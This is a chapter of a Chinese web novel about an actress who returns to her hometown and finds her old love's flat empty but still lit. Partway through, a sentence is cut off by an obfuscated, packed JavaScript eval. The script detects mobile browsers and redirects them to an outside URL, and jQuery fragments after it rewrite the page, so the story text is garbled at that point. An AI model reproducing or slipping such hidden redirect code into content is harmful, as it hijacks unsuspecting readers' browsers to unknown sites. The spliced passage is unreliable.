初春，京城的梅花开了，空气中弥漫着一阵芳香。
程砚一个电话突然打了过来，她在电话里随口提到有一部公益电影，说是西城那边一个山区小学的项目，拍一支短片，没什么片酬，但导演挺有名的，就当攒个人情。
莫栀年刚结束上一部戏的宣传期，正窝在公寓里补那几个月欠下的觉，听见“西城”两个字的时候，手指在手机屏幕上顿了一下。
“程姐，我要去。”
程砚有点意外说：“你不歇两天？”
莫栀年说：“歇够了，正好我也挺想认识那个导演的。”
程砚在电话那头又说了些什么，便替莫栀年接下了那个项目，
挂了电话，莫栀年躺在床上，看着天花板。
西城，她已经七年没回去的地方。
出发前的那几天，京城的天热得发闷。莫栀年早起去楼下便利店买咖啡，头发随便扎着。
老板娘认识她，寒暄地问道：“今天没有通告？”
莫栀年笑着回道：“没有，在家歇息两天。”
老板娘把咖啡递过来，顺便塞给她一个刚出炉的牛角包。
“尝尝，新来的面包师傅手艺不错，做明星就是辛苦，你这都快瘦成竹竿了。”
莫栀年说：“从小体质就这样，谢谢老板娘的面包啦。”
她一手咖啡一手面包，慢悠悠走回公寓。
回到屋里，她把咖啡放在茶几上，面包咬了两口。
楼下是京城最普通的街景，早点摊冒着热气，公交车站站满了游客和大爷大妈们。
出发那天是个阴天，云压得很低，空气里有一股雨腥味。莫栀年一个人去的，没让程砚跟着。
程砚只是叮嘱她到了发条消息，路上注意安全，便忙自己的事情去了。
飞机落地的时候已经是下午。
公益电影的拍摄地定在西城附近的山区，一个叫清水镇的地方。
拍摄在第三天下午提前结束了。原定有个杀青的饭局，但莫栀年说身体不太舒服，想早点休息，推脱了过去。
莫栀年一个人开着车，从清水镇往西城的方向走。山路弯弯绕绕，一边是山，一边是河，夕阳正缓缓地落下去，把整条河染成金色。
她开到一半的时候，摇下车窗，让山风吹了进来。
这里的风果然比京城要爽朗的多，空气里夹杂着林间的清香和不知名的花香。
两个小时后，莫栀年看见了西城的轮廓。
印象中的西城变了模样，高楼多了，路宽了，曾经熟悉的地方都快让她认不出来了。
灯柱上贴满了小广告，一层叠着一层，看不清原来的样子。
街边的店铺换了又换，原先那个卖西瓜的小摊不见了，变成了一家奶茶店。她打过工的那家小超市，招牌已经褪了色。
莫栀年忽然踩了一脚刹车。
原来前面不知道从哪窜出来一只野猫，飞快地从莫栀年的车前跑了过去。后面的车按了喇叭，她才回过神来，重新踩下油门。
莫栀年把车停在路边，下车走进那条巷子。
巷子比以前窄了，两边的房子更高了，电线还是那样密密麻麻的悬挂在半空中，像一张巨大的蜘蛛网罩在头顶。空气里混合着油烟味和潮湿的霉味，一切都是那么的熟悉。
莫栀年走得很慢，当走到那栋楼前时，她停了下来。
三楼的那盏灯还亮着。
此刻，莫栀年的心脏猛地收紧，呼吸一滞，脑海中浮现出各种可能。
莫栀年迈着紧张的步伐，走进了楼里，楼梯间的声控灯还是坏的，她什么都看不见，只是一步一步地往上走。
终于，她站在了那扇熟悉得不能再熟悉的铁门前。
莫栀年深吸了一口气，试图缓解疯狂跳动的心脏。
咚咚咚——门开了。
然而并不是陈圣青的那扇门。
隔壁，一个陌生的男人站在门口，看上去三十多岁，穿着背心，手里拿着筷子，嘴里还嚼着东西，看见她时，愣了一下。
“你找谁？”
莫栀年转过头，有些结巴：“陈……陈圣青。”
男人眨眨眼：“不认识，这房子空了很久了。”
莫栀年站在那里，脑子里一片空白：“那……原来住这的人呢？”
男人想了想，回头喊了一嗓子：“妈！原来住这的人呢？”
一个老太太从屋里走出来，看了她一眼。
“你说小陈啊？早就搬走了，都搬了好几年了。”
莫栀年心往下沉了点，靠着门框，腿有点发软：“那屋里的灯怎么还亮着？”
老太太顺着
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17263519|193796||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她的目光看向窗户，笑了笑。
“你说那灯啊，每个月电费都是他来交，我跟他说，你人都不住这儿了，还交什么电费。他笑笑，说是让灯一直亮着，怕她回来的时候看不见。”
“那您知道他搬去哪儿了吗？”
“不知道。”老太太摇头，忽然想起什么似的，“不过啊，他偶尔会回来一次。”
莫栀年猛地抬起头：“回来？”
“嗯。”老太太说，“一个月回来一两次吧，也不住，就待一会儿，然后就走了。”
莫栀年的眼眶忽然酸了酸。
“奶奶。”她的声音发抖，“他最近回来过吗？”
老太太想了想：“前几天吧，好像是上周？我也不太记得了，年纪大了，记性不好。”
莫栀年还是礼貌地点点头：“谢谢您。”
老太太摆摆手，回到屋里，把门关上了。
楼道里又安静下来。
莫栀年站在那扇门前，看着门缝里透出的那一点点光。
时间过了许久，她伸出手，轻轻摸了摸那扇门。冰冷的铁皮，凹凸不平的漆面，和她记忆里一模一样。
她想起很多年前，她也这样站在这扇门前，使劲地敲门，等陈圣青开门，给他送吃的。
莫栀年站在门口，把额头抵在冰凉的铁门上，闭上眼睛。
她眼眶里的泪终于滑下来：“陈圣青，我回来了，你开门见见我好不好？”
然而门后始终无人回应。
莫栀年记不清在门口待了多久，她走下楼的时候，很多店铺都关门了。
巷子里很暗，只有远处几盏路灯亮着，夜风呼呼地吹在她的脸颊上。
莫栀年吸了吸鼻子，踩着高跟鞋准备离开。
巷口的落叶被寒风卷了起来，发出稀稀簌簌的声响。
莫栀年转过头，想要再看一眼三楼的那间房间。
忽然，一道黑影快速地藏进窗帘后面，动作快到莫栀年只看见一道残影。
莫栀年下意识地揉了揉眼睛，等她仔细一看的时候，却发现窗户里什么都没有。
她撇了撇嘴，以为自己眼花看错了，随后她便上了车，驶出了小巷。
而此刻躲在窗帘后的陈圣青松了口气。
他走到窗前，看着汽车尾灯愈来愈远，眼眸沉了沉。